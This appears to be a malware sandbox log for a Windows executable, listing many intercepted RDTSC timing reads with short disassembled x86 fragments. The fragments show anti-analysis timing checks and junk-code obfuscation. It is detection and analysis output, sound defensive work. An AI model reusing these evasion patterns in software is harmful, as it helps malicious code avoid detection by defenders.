Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7D7C second address: 9D7D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7D82 second address: 9D7D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7D87 second address: 9D7DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F19ECFD9936h 0x00000009 jl 00007F19ECFD9936h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jmp 00007F19ECFD9949h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7DBB second address: 9D7DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7DC1 second address: 9D7DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7DC6 second address: 9D7DE5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19ECFDC0E1h 0x00000008 jmp 00007F19ECFDC0D5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D81DF second address: 9D81E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0531 second address: 9E0537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0537 second address: 9E053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E053B second address: 9E0549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0549 second address: 9E054D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF98E second address: 9AF9BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D1h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F19ECFDC0D5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF9BA second address: 9AF9E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19ECFD993Ah 0x00000008 push ecx 0x00000009 jl 00007F19ECFD9936h 0x0000000f jnp 00007F19ECFD9936h 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jnp 00007F19ECFD9942h 0x0000001f jng 00007F19ECFD9936h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5DBC second address: 9E5DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5288 second address: 9E5291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5291 second address: 9E52A2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F19ECFDC0CCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E52A2 second address: 9E52E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD993Ch 0x00000009 jmp 00007F19ECFD993Eh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 pushad 0x00000015 jp 00007F19ECFD9936h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e pop eax 0x0000001f jnc 00007F19ECFD9936h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jns 00007F19ECFD9936h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E544D second address: 9E5477 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F19ECFDC0C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F19ECFDC0D8h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5477 second address: 9E5483 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19ECFD9936h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5A64 second address: 9E5A6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5A6B second address: 9E5A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7CA6 second address: 9E7D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F19ECFDC0CEh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jnp 00007F19ECFDC0DFh 0x0000001a jmp 00007F19ECFDC0D9h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jp 00007F19ECFDC0D0h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b jc 00007F19ECFDC0D5h 0x00000031 jmp 00007F19ECFDC0CFh 0x00000036 pop eax 0x00000037 call 00007F19ECFDC0D8h 0x0000003c push esi 0x0000003d adc di, FF79h 0x00000042 pop edi 0x00000043 pop esi 0x00000044 push 9514953Eh 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F19ECFDC0D4h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7D54 second address: 9E7D59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E810A second address: 9E8110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E82AC second address: 9E82B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E82B0 second address: 9E82B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E82B6 second address: 9E82BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E833E second address: 9E8343 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E890E second address: 9E8912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8B98 second address: 9E8B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8B9C second address: 9E8BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB8FA second address: 9EB91A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F19ECFDC0D2h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB91A second address: 9EB973 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19ECFD9938h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F19ECFD9938h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a add dword ptr [ebp+122D2788h], ebx 0x00000030 pop esi 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D1D18h], edx 0x00000039 xchg eax, ebx 0x0000003a jmp 00007F19ECFD993Ah 0x0000003f push eax 0x00000040 pushad 0x00000041 js 00007F19ECFD9938h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC40C second address: 9EC411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE40C second address: 9EE459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F19ECFD993Ah 0x0000000a popad 0x0000000b nop 0x0000000c mov esi, 6A0FE9DFh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F19ECFD9938h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov esi, ebx 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D3779h], ecx 0x00000037 push eax 0x00000038 jc 00007F19ECFD9944h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE185 second address: 9EE18F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F19ECFDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE18F second address: 9EE1AE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F19ECFD9940h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEC1B second address: 9EEC3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F19ECFDC0D4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEC3D second address: 9EEC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0BAC second address: 9F0BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F113D second address: 9F1141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1141 second address: 9F118F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007F19ECFDC0CEh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F19ECFDC0C8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b clc 0x0000002c push 00000000h 0x0000002e movzx edi, ax 0x00000031 pushad 0x00000032 sub ebx, dword ptr [ebp+122D1C4Fh] 0x00000038 or edx, dword ptr [ebp+122D27F9h] 0x0000003e popad 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F219B second address: 9F21A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3207 second address: 9F325B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F19ECFDC0CCh 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 nop 0x00000014 mov ebx, eax 0x00000016 push 00000000h 0x00000018 js 00007F19ECFDC0CCh 0x0000001e mov dword ptr [ebp+124490B6h], edi 0x00000024 push 00000000h 0x00000026 jmp 00007F19ECFDC0CCh 0x0000002b xchg eax, esi 0x0000002c jl 00007F19ECFDC0CAh 0x00000032 push ebx 0x00000033 push esi 0x00000034 pop esi 0x00000035 pop ebx 0x00000036 push eax 0x00000037 push edi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F19ECFDC0D3h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A720E second address: 9A724D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F19ECFD9943h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F19ECFD9948h 0x00000013 jmp 00007F19ECFD993Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A724D second address: 9A725B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A725B second address: 9A7265 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F19ECFD9936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7265 second address: 9A726F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A726F second address: 9A7273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6A54 second address: 9F6A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F19ECFDC0C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7B00 second address: 9F7B0A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7CE0 second address: 9F7CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7DF8 second address: 9F7DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7DFF second address: 9F7E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F05 second address: 9F9F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBCCF second address: 9FBCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F0C second address: 9F9F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBCD3 second address: 9FBCEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9F12 second address: 9F9F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBCEF second address: 9FBD7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F19ECFDC0C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jne 00007F19ECFDC0DFh 0x00000013 nop 0x00000014 mov edi, 1F4CD03Ah 0x00000019 push 00000000h 0x0000001b call 00007F19ECFDC0D4h 0x00000020 add ebx, dword ptr [ebp+122D395Ch] 0x00000026 pop edi 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F19ECFDC0C8h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D1E31h], eax 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007F19ECFDC0CFh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAE64 second address: 9FAE68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBD7B second address: 9FBD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAE68 second address: 9FAE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBD80 second address: 9FBD86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBD86 second address: 9FBD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3CB9 second address: 9A3CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F19ECFDC0C6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD0DD second address: 9FD0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD0E2 second address: 9FD0F5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F19ECFDC0C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00414 second address: A00419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00419 second address: A0047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F19ECFDC0CCh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F19ECFDC0C8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a and bh, FFFFFFE4h 0x0000002d push 00000000h 0x0000002f and bh, 0000000Bh 0x00000032 push 00000000h 0x00000034 mov edi, 7D320444h 0x00000039 xchg eax, esi 0x0000003a jmp 00007F19ECFDC0CEh 0x0000003f push eax 0x00000040 pushad 0x00000041 push ebx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0047B second address: A0047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0250A second address: A02514 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F19ECFDC0CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02514 second address: A02578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c jnc 00007F19ECFD993Ch 0x00000012 popad 0x00000013 nop 0x00000014 jmp 00007F19ECFD9944h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F19ECFD9938h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 or edi, dword ptr [ebp+122D3AECh] 0x0000003b push 00000000h 0x0000003d sub ebx, dword ptr [ebp+122D3920h] 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02578 second address: A0257C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0257C second address: A0258A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0163B second address: A0163F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0163F second address: A01649 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0455E second address: A04562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A20E7 second address: 9A20ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A20ED second address: 9A20FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F19ECFDC0C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02730 second address: A02736 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02736 second address: A0273B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0273B second address: A027C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F19ECFD9938h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jng 00007F19ECFD993Ch 0x0000002a mov dword ptr [ebp+122D24E3h], ecx 0x00000030 push dword ptr fs:[00000000h] 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F19ECFD9938h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 